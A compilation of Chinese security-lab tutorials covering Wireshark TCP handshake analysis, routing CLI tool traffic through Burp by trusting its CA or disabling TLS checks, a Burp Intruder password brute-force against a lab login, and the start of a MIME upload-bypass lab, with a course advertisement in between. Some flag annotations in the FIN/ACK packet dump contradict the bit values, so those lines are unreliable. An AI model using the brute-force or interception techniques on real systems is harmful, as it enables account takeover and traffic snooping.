Wireshark数据抓包分析之传输层协议(TCP协议)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com>>
使用TCP协议传输数据相对来说更安全,因为通信双方拥有一个专属的通信通道,每发送一个数据包都有确认回复,若数据包丢失。如果发送放没收到确认包,就可以重发这个数据包。
最经典的例子就是三次握手。三次握手是通信双方建立TCP连接前的必须步骤。第一次握手时请求方向接收方发送友好问候,请求建立连接。第二次握手接收方礼貌回复,表示收到请求。第三次握手请求方坚定交往信息,向接收方表示已做好了连接准备。于是双方的TCP连接就建好啦~
完成三次握手后,双方就可以开始传输数据了。当然,握手很严谨,说再见也是一丝不苟的。详细内容可以在蚁景网安实验室里进行实验操作《https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015061617194800001》了解。下面开始实战。
根据已经搭建好的实验环境,本次实战步骤如下:
1. 在测试环境使用发包工具和Wireshark抓取TCP三次握手和四次断开的数据包
2. 详细分析TCP协议的三次握手以及四次断开。
本次的任务可以拆分成:安装发包工具,配置TCP客户端(请求方),服务端(接收方),与学习Wireshark软件懂使用。咱开始吧~
我们使用" TCP&UDP测试工具"来制作和发送TCP数据包,双击实验机器桌面的" TCP&UDP测试工具",会出现下图显示页面:
下面我们需要配置TCP的服务端以及客户端。首先配置服务器端:选择地址为10.1.1.33的机器,双击桌面的" TCP&UDP测试工具",右键点击服务器模式,在下拉列表中,选择创建服务器,如下图:
选择"创建服务器"之后,会弹出服务器端口设置,本次使用默认工具给的6000端口即可,点击"确定"按钮。
点击"确定"按钮之后,在左侧的服务器模式列表中,会出现创建的列表,选择我们创建的服务器,右键点击,选择"启动服务器",即完成了服务器端的配置。
接下来配置客户端,步骤与前面的类似:选择地址为10.1.1.142的机器,双击桌面的" TCP&UDP测试工具",右键点击客户端模式,在下拉列表中,选择"创建连接",如下图:
在弹出的窗口中,选择TCP协议,服务器IP为10.1.1.33.端口6000,本机随意IP,如下图:
点击创建后,如下图:
那么我们看看Wireshark软件获取到的客户端与服务器端之间发送到TCP数据包吧。
获取的TCP协议的数据包分为两部分,即TCP三次握手,四次断开的数据。在实际的操作中,我们往往还会抓到除了目标地址之外往来到数据包,因此先使用过滤器过滤一下IP源,方便我们查看。
启动Wireshark,在Filter中输入tcp,点击Apply会看到很多的数据包,这是因为测试环境中,有很多的应用程序,与其服务器连接,使用TCP协议。如下图:
在这里,我们已知两台机器的IP情况下,可以在filter中输入"ip.addr == 10.1.1.142 and ip.addr == 10.1.1.33"来过滤出我们想要的数据,点击工具中的"apply连接"按钮。如下图:
在上图中,70,73,74帧是tcp的三次握手,428,429,430,431帧是四次断开的数据。
分析握手
通过前面到工作,我们已经找到了想要的数据包,接下来我们将对TCP的三次握手进行详细分析。
首先我们看TCP包的首部。TCP首部的通用格式如下图所示:
在上面的图中,标出了每一个字段,咱今天就说说比较重要的源端口、目标端口、标记。
源端口表明了发送方的输出端口号。目标端口表示数据包进入接收方的端口号端口对上了,才能正确地将数据包传达。标记用来表示所传输的TCP数据包类型,包括URG、ACK、PSH、RST、SYN和FIN,其中SYN表示同步序号,使用在建立连接时;ACK是确认标志,表示应答域有效,就是前面所说的接收方对请求方的问候表示礼貌致意;FIN表示发送端以及达到数据末尾,此时双方就准备挥手告别了。
那么接下来咱具体分析下三次握手。
干货来了!
TCP第一次握手,捕获的数据包信息如下所示:
从Wireshark的Packet List面板中的Info列可以看到显示的TCP标志位是SYN,所以该数据包是客户端向服务器发送的第一次握手连接。在Packet Details面板中,显示了该包的详细信息,下面详细介绍。
以上信息,表示该包的大小为62个字节。
以上内容表示源IP是10.1.1.142,目的IP为10.1.1.33。
以上内容是传输层首部的详细信息,这里使用TCP协议,其中源端口为56678,目标端口为6000。
更多详细的信息,可以进入蚁景网安实验室课程查询。
接下来是第二次握手,TCP第二次握手捕获数据包相信信息,如下:
在该界面显示了第二次握手数据包的详细信息,其中位于TCP上面的信息与第一次握手时相类似,留给文后照着上面的分析独立思考。
同样地,第三次握手也一定没问题,看下图:
于是这样就完成了TCP连接的建立啦~
五 再来看看再见
TCP的四次断开,也是TCP协议的主要工作之一。那咱也看看四次分手,偶不,四次断开~TCP第一次断开连接的数据包如下:
在该界面显示了TCP第一次断开,数据包的详细信息,是不是和握手时的数据包很像?
查看tcp数据包可以看到客户端向服务器发送FIN和ACK标志的数据包开始断开连接,其中FIN和ACK标志位都为1。
Source Port: 56678(56678) #源端口号
Destination Port: 6000(6000) #目标端口号
Stream index: 0 #流节点号
TCP Segment Len: 0 #分段长度
Sequence number: 1 (relative sequence number) #序列号
Acknowledgment number: 1 (relative ack number) #确认编号
Header Length: 20 bytes #首部长度
.... 0000 0001 0001 = Flags: 0x011 (FIN,ACK) #标志位,此处为(FIN,ACK)
000. .... .... = Reserved: Not set
...0 .... .... = Nonce: Not set
.... 0... .... = Congestion Window Reduced (CWR): Not set
.... .0.. .... = ECN-Echo: Not set
.... ..0. .... = Urgent: Not set
.... ...1 .... = Acknowledgment: Not set #确认编号已设置
.... .... 0... = Push: Not set
.... .... .0.. = Reset: Not set
.... .... ..0. = Syn: Set #请求位
.... .... ...1 = Fin: Not set #FIN标志位
Expert Info (Chat/Sequence): Connection finish (FIN) #专家信息
Connection finish (FIN) #消息内容,连接完成(FIN)
Severity level: Chat #安全级别
Group: Sequence
Window size value: 64240 #窗口大小
Calculated window size: 64240 #估计的窗口大小
Window size scaling factor: -1 (unknown) 窗口大小缩放比例因素
Checksum: 0x16cb [validation disabled] #校验和
Good Checksum: False
Bad Checksum: False
Urgent pointer: 0
FIN是1表示要分手啦~
在TCP第二次断开连接的数据包是服务器向客户端发送的ACK包,其中ACK标志位为1。
TCP第三次断开连接的数据包是服务器向客户端发送的FIN和ACK包。其中FIN和ACK标志位为1。
TCP第四次断开连接的数据包,客户端向服务器发送ACK的包。其中,ACK标志位都为1。
你没见过的Burpsuite骚操作——拦截CLI工具的流量
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
介绍
Burp Suite,mitmproxy都是非常有用的HTTP代理工具。它们不仅仅用于渗透测试和安全研究,也用于开发、测试和API研究上。实际上,我自己现在更多的是用Burp来进行调试和学习,而不是用于实际的渗透测试。观察网络中的实际HTTP请求,对理解复杂的API或测试我的脚本或工具是否正常工作是非常有帮助的。
本文涉及知识点实操练习:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014112610353900001(burpsuite是一款功能强大的用于攻击web应用程序的集成平台,通常在服务器和客户端之间充当一个双向代理,用于截获通信过程中的数据包,对于截获到的包可以人为的进行修改和重放。)
像Burp或mitmproxy这样的工具的一般使用方法是配置浏览器通过它进行通信,网上有很多关于如何配置Firefox、Chrome等与Burp Suite会话并信任Burp签名的证书颁发机构的文章和教程。
然而,我经常需要检查来自除浏览器以外的其他工具的流量,最常用的是命令行工具。很多常用服务的CLI工具只是可以发出HTTP请求,检查和或修改这些流量很有研究意义。如果一个CLI工具没有正常工作,有时候查看错误信息也没有帮助,那么只要你看看它实际发出或者接收的HTTP请求和响应,问题就会很快解决。
我曾使用这些技术来检查常用的CLI工具,如Azure 的CLI 程序。以前,我甚至代理了我们使用的商业安全工具提供的CLI工具,并了解到了一些未公开的API和行为,这些网络行为并不在他们的说明文档中。有了这些知识,我就能够很简单的完成某些事情,而这些事情是无法通过他们的 CLI或发布的API文档来实现的。
在这篇文章中,我想展示各种方法,配置不同语言编写的CLI工具,通过Burp Suite代理他们的HTTP(S)流量。一般来说,有两件事我们必须要配置。
Burp代理CLI的流量
让CLI信任Burp的 CA证书(或忽略信任)
一般来说,第二步通常比较困难,但并非不可能实现。
在大多数的例子中,我让Burp Suite在localhost:8080上监听,并在同一台机器上运行CLI工具。如果Burp运行在不同的主机或接口上,你应该将localhost替换成Burp的IP。
例一 代理wget或者curl
对于第一个例子,我将展示如何代理 curl 和 wget。这两个工具都可以很容易地配置代理,它们可以从环境变量中获取代理设置。
http_proxy
https_proxy
你可以用以下的方式来进行代理配置.
export http_proxy=localhost:8080 export https_proxy=localhost:8080 curl ifconfig.io wget -O /dev/null ifconfig.io ## or ## http_proxy=localhost:8080 https_proxy=localhost:8080 curl ifconfig.io http_proxy=localhost:8080 https_proxy=localhost:8080 wget -O /dev/null ifconfig.io
在burp中我们可以看到wget和curl的流量请求
这很好用,因为它只是HTTP。那HTTPS呢?如果你尝试着运行的话,你肯定会失败的。
curl不信任Burp的证书,这些错误信息是相当有用的。大多数CLI工具在信任证书时,都会听取操作系统的安排。所以我们有两个选择:
禁用信任核查
将我们的操作系统配置为信任Burp CA
禁用信任核查
第一种选择最简单。对于curl使用-k或wget使用--no-check-certificate参数:
http_proxy=localhost:8080 https_proxy=localhost:8080 curl -k https://ifconfig.io http_proxy=localhost:8080 https_proxy=localhost:8080 wget -O /dev/null --no-check-certificate https://ifconfig.io
使操作系统信任代理证书
对于第二个选项,我们必须从Burp内导出BurpCA。我们可以将DER格式的Burp证书下载到~/certs。
mkdir ~/certs wget -O ~/certs/burpca.der http://localhost:8080/cert cd ~/certs openssl x509 -inform DER -in burpca.der -out burpca.crt
注意:如果您使用mitmproxy,则证书已经在~/.mitmproxy目录下了。
MAC OS
在Mac上,只需双击下载的DER文件,OSX就会提示您将证书添加到信任的名单中。如果选择“系统”,则计算机上的所有用户都将信任它。然后,在导入后,您必须信任它。搜索“ PortSwigger”并打开证书。在“信任”下,为SSL选择“始终信任”:
WINDOWS
在Windows上,双击DER文件并选择“ Install Certificate”。选择“受信任的根证书颁发机构”证书存储以安装并信任BurpCA。
LINUX
对于大多数linux发行版,都包含受信任的证书/usr/share/ca-certificates。将burpca.crt文件复制到/usr/share/ca-certificates,然后运行:
sudo update-ca-certificates
通过使用操作系统信任的Burp CA,您不再需要使用curl的-k参数或者wget的--no-check-certificates参数,您可以在Burp中看到HTTPS流量:
例二 代理java jar
虽然我喜欢用Python或npm包或Go文件,而且我接触的很多CLI工具都是JAR形式的工具,现在,这些程序中一些有代理支持,可以通过命令行选项进行配置。然而其中一些没有,我需要强制JAR文件来使用我的代理工具。
以前使用的一个安全扫描器有一个API,并配有说明文档。使用API的token与它进行交互的唯一方式是使用他们的Java JAR CLI工具。但是我们需要开发我们的自动化工具,希望能写一个Python工具和我们的API进行交互,所以我使用了这种技术来代理他们的JAR,并弄清楚了如何使用API 的token来进行验证。
我在我找到的一个Atlassian CLI工具上演示与Jira的交互过程。例如,我可以用这个CLI来查询云托管实例上运行的Jira版本。
java -jar acli-9.1.0.jar -s https://greenshot.atlassian.net -a getServerInfo Jira version: 1001.0.0-SNAPSHOT, build: 100119, time: 2/6/20, 6:26 AM, description: Greenshot JIRA, url: https://greenshot.atlassian.net
不幸的是,CLI工具没有用于指定代理的任何选项。好消息是,在启动Java时,强制JVM通过某些属性使用代理实际上是可行的:
http.proxyHost
http.proxyPort
https.proxyHost
https.proxyPort
http.nonProxyHosts
要通过Burpsuite代理JAR,我们需要为代理设置前4个选项,并使最后一个选项为空值。这将强制Java通过Burp代理所有主机。为此, 我们在指定JAR之前将它们作为命令行参数添加到命令中:
java -Dhttp.nonProxyHosts= -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080 -Dhttps.proxyHost=127.0.0.1 -Dhttps.proxyPort=8080 -jar acli-9.1.0.jar -s https://greenshot.atlassian.net -a getServerInfo
但是我们现在看到了一个SSL错误:
即使我的操作系统中信任了Burp证书,Java仍实际上使用其自己的密钥库。因此,我们还需要在其中添加Burp证书。
将证书添加到Java密钥库
默认密钥库位于$JAVA_HOME/lib/security/cacerts。如果您没有设置$JAVA_HOME环境变量,您也可以使用java命令快速找到它:
java -XshowSettings:properties -version 2>&1 > /dev/null | grep 'java.home' java.home = /Users/RonnieFlathers/.sdkman/candidates/java/11.0.3-zulu
要将证书添加到Java的密钥库中,我们可以利用Java的keytool程序,该工具包含在$JAVA_HOME/bin/keytool中。要导入Burp证书,我们必须将PEM格式的文件导入到受信任的CA证书中:
$JAVA_HOME/bin/keytool -import -alias burpsuite -keystore $JAVA_HOME/lib/security/cacerts -file $HOME/certs/burpca.crt -trustcacerts
这里提示您输入密钥库密码。默认情况下,值为changeit。然后指定“是”以信任证书:
现在有了Java信任的Burp证书,我们可以查看Burp中的HTTP流量:
例三 代理Python请求
下一个示例将介绍Python CLI。最近,我经常使用这个工具,因为之前我做了很多Azure自动化工作,并希望很好的使用zaure的cli来提高工作效率。不过,在示例中,我已经使用homebrew安装了Azure CLI,并已经完成了azure账号的登录。
我可以使用以下方法查看可用的资源组:
$ az group list [ { "id": "/subscriptions/300b646c-f573-49d4-96d5-c01efe36c282/resourceGroups/ropnoptest", "location": "centralus", "managedBy": null, "name": "ropnoptest", "properties": { "provisioningState": "Succeeded" }, "tags": {}, "type": "Microsoft.Resources/resourceGroups" } ]
幸运的是,通过截取发出的请求,Python会使用 "正常 "的代理环境变量。然而当试图设置这些变量的时候,得到的结果却是SSL错误。
$ HTTPS_PROXY=http://localhost:8080 az group list request failed: Error occurred in request., SSLError: HTTPSConnectionPool........
由于我的操作系统信任Burp CA,因此在测试Python的时候未使用它。
向python添加证书
Python 的 CA 证书处理有点奇怪。大多数的Python CLI可能会使用requests库,它会使用自己的CA bundle,然后也会查看另一个certifi库包含的CA bundle,但是它使用了Mozilla的bundle。为了信任我们的CA,我们可以将它添加到与certifi一起包含的Mozilla bundle中。
需要注意的是,Python解释器的版本也会影响试验结果, 所以如果你使用的是虚拟环境,你需要确保使用正确版本的Python运行以下命令。
首先,我想验证 az 如何调用 Python,以及它使用的是哪个版本。
$ head `which az` #!/usr/bin/env bash /usr/local/Cellar/azure-cli/2.0.74/libexec/bin/python -m azure.cli "$@"
因此,az它会调用自己内置的Python解释器,该解释器已在homebrew上安装。
首先,为了确定导入证书的位置,我们导入certifi并运行certifi.where()命令。
$ /usr/local/Cellar/azure-cli/2.0.74/libexec/bin/python -c "import certifi; print(certifi.where())" /usr/local/Cellar/azure-cli/2.0.74/libexec/lib/python3.7/site-packages/certifi/cacert.pem
该cacert.pem文件是PEM格式的所有受信任的CA证书列表。要添加Burp CA,我们只需将PEM附加到该文件中即可:
cat ~/certs/burpca.pem >> /usr/local/Cellar/azure-cli/2.0.74/libexec/lib/python3.7/site-packages/certifi/cacert.pem
将Burp CA添加到Mozilla bundle中,我们现在就可以代理az命令了!
$ HTTPS_PROXY=http://localhost:8080 az group list
现在我们想要运行的任何 az 命令都可以进行查看或者修改。
例四 代理Node js
在这个例子中,我希望能够代理到来自NPM包的流量,以便与https://zeit.co进行交互。
我已经使用如下命令行安装了工具。
npm i -g now@latest
登录后,我可以查看我当前的部署:
运行:
$ HTTPS_PROXY=http://localhost:8080 now list
发现服务器返回了数据,Burp中并没有出现任何内容。看来,Node并不支持全局代理设置,但这并不意味着我们不能强行设置。
首先,我们来看看now命令调用了哪些内容:
$ which now /Users/RonnieFlathers/.nvm/versions/node/v12.15.0/bin/now $ head -c100 `which now` #!/usr/bin/env node require('./sourcemap-register.js');module.exports=function(e,t){"use strict";var%
now程序是一个JS文件,位于Node的bin目录中,我们也可以直接用node调用那个文件来运行now命令。
$ node /Users/RonnieFlathers/.nvm/versions/node/v12.15.0/bin/now -v Now CLI 17.0.3 17.0.3
虽然node没有全局代理的支持,但是一个名为global-agent的项目解决了这个问题,它可以在Node项目中设置一个可配置的代理。要使用它,我们使用npm将它安装到我们当前的目录中。
$ mkdir nodeproxy $ cd nodproxy/ $ npm install global-agent
该模块使用了GLOBAL_AGENT_HTTP_PROXY环境变量,所以我们必须先使用命令设置环境变量,现在我们可以将项目注入到now包中。
$ export GLOBAL_AGENT_HTTP_PROXY=http://127.0.0.1:8080 $ node -r 'global-agent/bootstrap' `which now`
现在要为Burp添加SSL证书。
为Node添加证书
这其实比Python简单不少。Node命令的一个环境变量,叫做NODE_EXTRA_CA_CERTS。如果要把我们的Burp证书加载为可信的,我们只要把这个环境变量导出,然后指向Burp的PEM文件就可以了。
export NODE_EXTRA_CA_CERTS=$HOME/certs/burpca.crt export GLOBAL_AGENT_HTTP_PROXY=http://127.0.0.1:8080 node -r 'global-agent/bootstrap' `which now`
现在可以用了! 我们可以在Burp中查看now包的流量。
例五 代理Go程序
越来越多开发者开始将静态的Go二进制文件以CLI形式发布。因为Go是一门很优秀的语言。Go设置代理非常简单,因为每个Go程序都能使用环境变量http_proxy和https_proxy。
在这个例子中,我将代理Github的hub工具(对于命令行用户,GitHub提供了名为`hub命令行工具,对Git进行了简单的封装。该项目在GitHub上的地址为: https://github.com/defunkt/hub )。下载并安装了hub后,在Git repo中,我可以像这样检查看我当前的CI状态。
$ hub ci-status success
由于hub是一个Go语言开发的二进制程序,所以我只需要设置代理的参数即可。
$ https_proxy=127.0.0.1:8080 hub ci-status Error fetching statuses: Get https://api.github.com/repos/ropnop/blog.ropnop.com/commits/89c7759ac344d5a412dc63ce3f053fc3f06d09a0/status: x509: certificate signed by unknown authority
而这里我们得到一个SSL错误的返回结果。
设置GO的信任证书
不幸的是,Go没有提供任何渠道来设置信任外界的CA证书。对于每个平台,Go都会在操作系统上寻找受信任的CA证书。
这时,你必须将Burp证书添加到你的系统的密钥链中。之后,Go就会检查到它,你就可以代理Go语言的二进制文件了。
$ https_proxy=127.0.0.1:8080 hub ci-status success
总结
希望这些内容对你能有帮助。Python、Node和Go囊括了我使用的绝大多数CLI工具,当然还有其他工具。无论你是在对一个应用或CLI进行渗透测试,还是只是在开发中想进行调试,学会拦截HTTP流量并对其进行分析真的很重要。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
使用Burp进行暴力破解
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
通过该实验掌握burp的配置方法和相关模块的使用方法,对一个网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免网络安全问题的发生,以此加强网站安全防护
使用了burp的结构如下图所示。
操作环境如下图所示:
实战步骤一:Burp配置
我们了解到,burp在浏览器(客户端)是以代理的方式存在。因此,如果想要我们发送的包被burp截断,就需要双方协商好一个监听端口。
首先,双击打开桌面的burp进入主界面。
1. 设置burp监听端口:
选择proxy(代理),进入之后选择options。我们看到在Proxy listeners处burp为我们默认添加了一个本地8080端口处的监听项。
当然,你完全可以自拟一个新的监听端口,在左侧点击ADD即可设置
配置浏览器的代理项。
这里以系统自带的ie为例(chrome和firefox用户可以使用代理插件进行设置)
使用win+R键打开命令窗口,输入inetcpl.cpl进入ie设置。
在连接选项卡中,选择局域网设置
输入我们为burp指定的监听端口号
这时候,我们就建立了基本配置。
测试:
在burp中打开intercept is on.
用浏览器访问:10.1.1.163/crack,我们会在burp中看到
这表明我们已经成功的截获了来自浏览器的请求。
点击forward就可以把这个请求发送给服务器,服务器会将结果返回给浏览器中,并将响应在burp中记录下来。Drop会将这个包丢掉,即不会发送到服务器端。
实战步骤二:burp中的compare功能操作
compare模块可以将不同的数据包(无论是请求包还是响应包)进行比较。
首先,我们添加一条请求到compare模块去。
在已经截取的数据包上面右键,选择send to comparer
这时候,我们会看到在comparer模块,上下两个界面中同时多出来了一条记录。
使用同样的方法,我们在为comparer模块添加另外的一条记录。
我们打算使用1和2进行对比,在两个视图中选择1和2(顺序无所谓),然后点击右下角的compare word(bytes是指文件按照字节流来进行比对)。
从图中我们可以看到,窗口标题提示了我们两个文件有多少处不同。左下角的图例告诉了我们右侧和左侧相比,
哪些是添加的,哪些是修改的,哪些是删除的。非常直观。
实战步骤三:burp中的repeat功能操作
有时候我们需要向服务器发送多次相同的请求来测试服务器的响应。这里,我们只需要将burp截取到的请求通过右键send to repeater就可以在repeater中进行操作了。
进入到repeater之后,点击go按钮,右侧就会返回服务器的响应。
Go的次数没有限制,点击多少次go,burp就会把当前的请求页向服务器发送多少次。
使用repeater的目的是进行重放攻击测试,看服务器是否会对重放测试做出反应。
实战步骤四:burp中的intruder功能操作
Intruder功能是burp非常重要的功能,也是暴力破解中使用最频繁的功能。
在已经截获的请求页上右键,选择send to intruder。
进入intruder模块。我们会看到四个选项卡,分别是target,positions,payloads,options.
Target主要是设置暴力破解访问的host地址和对应的端口号
Positions设置是选择我们要暴力破解的位置。在默认情况下,burp会自动将所有的变量都勾选上。实际操作中,我们往往是针对单一点,选择clear$,此时所有默认的爆破点都已消失。
用鼠标选中需要暴力破解的变量的值。然后右侧选择add$,这样我们就添加了一个爆破点,这个爆破点的payload位置是在两个$之间的部分。
Payloads设置
选择怎样的字典或者payload,是这个模块要做的事情。Payload type 下拉列表框为我们提供了常用的payload 类型,视情况选择即可。
如果你有合适的字典,在选择了payload type为simple list后,接下来你就可以在payload options中选择你要加载的字典文件,点击load即可。
有时候我们需要对payload进行二次处理,比如md5加密啊,base64加密啊之类的,burp当然也考虑到了这一点。在payload processing中集成了一些常见的算法。
点击add,在弹出的窗口中就可以根据需要选择了。
Options中有关于其他细节的设置,比如攻击时使用的线程数,关于攻击的一些存储设置之类。这里就不再赘述。
实战步骤五:使用burp暴力破解网站
访问10.1.1.163/crack/,这是一个登录界面。
使用登录账号密码,完成表单后提交。这时候burp会截取我们的请求。
在该请求页上右键选择send to repeater.我们来进行重放测试。点击go,右侧返回服务器的响应。多次go之后发现,服务器返回的长度和内容都没有发生变化,都会提示sorry
也就是说,服务器对多次测试并没有加以限制,因此我们可以使用暴力破解了。
为了再次验证,我们在登陆界面再次输入一个不同的密码。在我们将两次请求的响应使用comparer去比对一下。(在proxy中选择子选项卡HTTP History,选择方法为post的两个历史记录,点击每一条post记录,下方会看到不同的post数据时,这应该就是我们的两次不同密码的请求记录,右键选择send to comparer(response))
从图中我们可以发现,经过对两次不同的请求返回结果进行对比,burp为我们在左上角标出了2项不同,但都是体现在时间上,其余都相同。所以可以使用暴力破解。
进入到intruder之后,先点击clear,然后选中我们刚才填写的pas字段值,点击add。这样,就确定了爆破点是pas位置。
打开payload选项卡,payload type选择数字。
选择数字之后,我们填写数字范围。因为是已经暗示了密码范围,所以我们选择50到100.顺序生成,每步加1(step设置)
开始攻击。
进入攻击测试界面,我们重点关注payload和length,这里的length表示的是服务器的响应长度。
从理论上来分析,登陆成功和登陆失败,返回的长度应该不同,这能方便我们找出正确密码。右下角的进度条显示了我们的进度。
一段时间过后,我们测试结束(请大家耐心等待,实际上在实体机上测试非常快)。这时候在length上双击,可以对length排序。
我们发现,在测试的50个payload中,payload为69的返回值不同与其他payload返回值。我们怀疑69就是答案。我们来观察一下。
在payload为69的request上双击,进入后选择response。
浏览response,直到发现
Yes,you catch the flag。
我们的目的通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。本教程只做教学目的,严禁使用本教程对线上网站进行破坏攻击。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
写给Web新人,2021涨薪跳槽指南!
2021金三银四马上就要开启了,你为涨薪跳槽做好准备了吗?
随着网络信息技术的飞速发展和全面普及,国家及企业对网络安全人才求贤若渴,而网络安全职位中,Web安全相关职位占比更高,所以这就决定了Web安全人才在市场上拥有令人眼红的薪资水平。
当我们去看拉勾、BOSS直聘等招聘网站上的信息会发现,国内至少有数百家企业,有能力且愿意,年薪20万-60万,招募各类Web安全人才。
对于想转型进入网络安全人来说,Web安全是最容易入门的,因为它不需要有编程语言基础,所以,只要是目标明确、想在Web安全方向发展,且足够努力的同学,从零进入Web安全或跨行Web安全是很容易的,这也是为什么近年来从其他行业或者岗位转到Web安全岗的人在不断增加。
或许很多想零基础入行的同学要问了:
从零开始学习Web安全需要哪些必备技能?
怎样在短时间内达到大厂对Web安全岗位的要求,拿到 offer
......
对于工作 1-2 年的Web安全人员来说,他们同样面临着职业发展的问题:
在日常工作中缺少更靠谱的指导,也没有体系化的学习机会,以至于工作了几年,还觉得自己像野路子;
重复执行打杂的工作,没有核心竞争力,连升职加薪都很难,更别提进大厂了。
那么,作为Web安全工程师,如何更聪明地选择职业发展路径、提升自己核心技能、掌握体系化的产品知识,让自己早日避免打杂、低薪的状态,成为有“钱途”、有长期职业竞争力的人呢?
为了解决以上这些问题,我们调研了数百家安全企业对于Web安全人员的招聘需求,从岗位实际需求出发打造了这样一门课,3 节课 + 3 个实战练习 +7天社群服务 + 实战作业反馈 ,原价198元,限时优惠只需要 2分钱 !课程第一节课将于 2月22日开课,赶紧抢购吧!
限时 2 分钱
点击抢位
只要2分钱,就能带你入门Web安全,所以,强烈建议你不要犹豫。
除此之外,课程还包含一份100%有用的Web安全学习工具包,涉及虚拟机安装包、漏洞扫描工具及信息收集、权限提升、密码字典学习资料等等,我们都为你整理总结好了,报名完成后加班主任领取!
扫码添加班主任
如果你有无法解答的难题也不用急,课程中包含课程班主任 1V1 咨询辅导,不管是在工作还是学习中遇到的问题,都有机会得到专业的指导,这将确保:通过一次课程学习,你在学习或者工作中遇到的真实的问题,都会有专业的班主任为你解答,相信我,这是个超级无敌有价值的事,花钱也买不来的那种。
考虑到有很多新同学对这门课程还不是很了解,接下来我将花一点时间为你介绍一下这门课程的具体内容,以及蚁景网安学院的学习方式、服务模式等等。
01.这门课你将学到什么?1
建立Web安全整体知识体系
当你想快速进入一个行业的时候,第一步不是直接开始学习,而是梳理这个行业的知识体系,或者你这个行业所需要的掌握的必备能力,然后一步一步进行拆解。
这样的好处在于,第一能够清晰的理清楚你需要真正掌握的技能点,第二能够增强执行力,因为当你拆解成各个能力模块的时候,你的执行力会提高,因为你知道你需要每天做什么。
为此,老师将在课程中分享我们针对上百家企业的Web安全工程师岗位做了深度调研,总结出的Web安全学习路径,帮大家建立Web安全知识体系。
高清版扫码添加班主任领取
2
针对性技能实战训练
了解了整体的学习路径后,我们有针对性的选择了3个技能点——短信轰炸漏洞、支付逻辑漏洞、任意密码重置漏洞,在理论教学后,单独带领大家“实战训练”。
很多同学在理论学习完后,都有一种感觉,“听课感觉什么都懂,一做起来就什么都不会了”,归根结底是没有在上课完后,及时实操检验自己的学习成果。
本次课程,我们每节课,都配套了相应的实操环境,供你实操练习,让你学完后,立马可以操作,及时检验所学知识,查缺补漏。详细安排如下:
02.课程配套哪些服务
除了优质的课程内容和实操作业
我们还提供7天高质量班级服务,专业的班主任会在班级群里提供干货分享 + 答疑服务+作业催收,学员完成实战作业后,老师定时讲解作业重点、难点,确保学员真正掌握所学知识!(全勤到课且按时完成靶场作业的有优秀学员奖励哟!)
另外,班主任还会提供全程督学服务,在督促你按时到课的同时,帮你做业务诊断+就业推荐绿色通道(1v1免费推荐面试)。
所以,一定要记得添加班主任,班主任将会给你提供免费靶场作业地址、渗透测试学习资料并拉你进班级群,享受7天的高质量的班级群群服务和班主任 1 V 1 督学服务。
扫码添加班主任
03.这门课适合谁?
首先,如果你是信息安全专业在校学生,想通过学习从事安全相关工作,那么不要犹豫,这门课程是为你量身定制的,它非常适合你,因为课程配套了高强度的靶场实操训练,补足你在日常学习过程中实操经验不足等问题!
其次,这门课程也适合对黑客渗透技术感兴趣,却不知道怎么入门的同学——可能你对黑客这个群体的印象,只是局限于:是一群玩计算机很厉害的人,能通过电脑一顿操作就拿下一个网站,拿下一个服务器的权限。但是可能并不知道黑客是通过什么方法技巧来达到这个效果的,那么学完这门课,你将正式进入黑客的世界。
最后,未来的互联网行业中一定需要更多的复合型人才,所以,如果你是做功能测试的,做运维的、做开发的更应该好好学习这个课程,在你们的日常工作中,可能会经常会碰到服务器被攻击,收到各种异常攻击告警,但是却因为不了解黑客攻击技术,而无法定位黑客攻击路径并阻止攻击行为。所以如果你想你的职业再上一个台阶,安全是你必不可少的一个技能!
04.报名须知
Q课程直播还是录播?
2月22日(下周一)—2月24日(下周三)15:00—16:00,连续3天直播课,每节课课后配套实操作业,有疑问随时班级群咨询,老师在线答疑,让你充分吸收所学知识,共计3天直播+录播永久可看。
Q报名后需要做什么?
报名后扫码添加班主任为好友,并将支付截图发给她,班主任会在开课前统一拉入群。(班主任会在1天内通过好友,请耐心等待)。
以上,就是这样一门包含诸多干货内容+实操作业+ 1 V 1 服务的课程。
不要 999 ,也不要 99 ,只要 2分钱!
它一定不能解决你的所有问题。但是,它会是你“提升”的开始,从认知上改变你对Web安全岗位和行业的理解,进一步帮你掌握核心能力、完成职业路线的规划,成为更受企业欢迎的产品人才!
本课程第一节课即将于 2 月 22 日开课,想要在这个特殊时期率先“晋升”的同学,赶快长按识别下方图片中的二维码,一起加入我们吧!
Burpsuite简介及MIME上传绕过
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本实验主要介绍了burpsuite的简介及MIME上传绕过,通过本实验的学习,你能够了解burpsuite以及文件上传检测,掌握burpsuite中Proxy模块和Target模块的使用,学会使用burpsuite绕过服务端MIME类型检测。
实验地址:http://yijinglab.com/expc.do?ce=ebb835a6-c82d-4bc5-9fca-cfb15ff78ee8
一、 使用Burpsuite的代理功能
访问试验机中的地址10.1.1.59:81,输入用户名和密码,打开burpsuite,设置好浏览器代理,点击sql injection,
截获的数据包如下
右键单击,如下图所示:
Send to XXX分别表示将截获的数据发送到各个模块,然后在各个模块下进行下一步操作。
下拉菜单,点击Send to Spider切换到Spider模块下,burpsuite会自动对网站进行爬行,Control选项卡下可以查看爬行的状态和设置爬行范围,Options选项卡中可以进行爬行的设置等。一段时间后切换到Target模块查看结果:
Change request method表示更改请求方式,如之前使用的GET请求,点击Change request method后为变为POST
Don’t intercept requests表示不截获请求,比如我们选择To this host,在Intercept is on时burp也不对此主机的请求做拦截。我们就可以正常访问该网页了。
然后我们切换到Proxy的Options选项卡下,查看Intercept Client Requests,已经增加了一条记录
Do intercept下Response to this request功能可用于对服务端发送过来的信息做修改来欺骗浏览器。
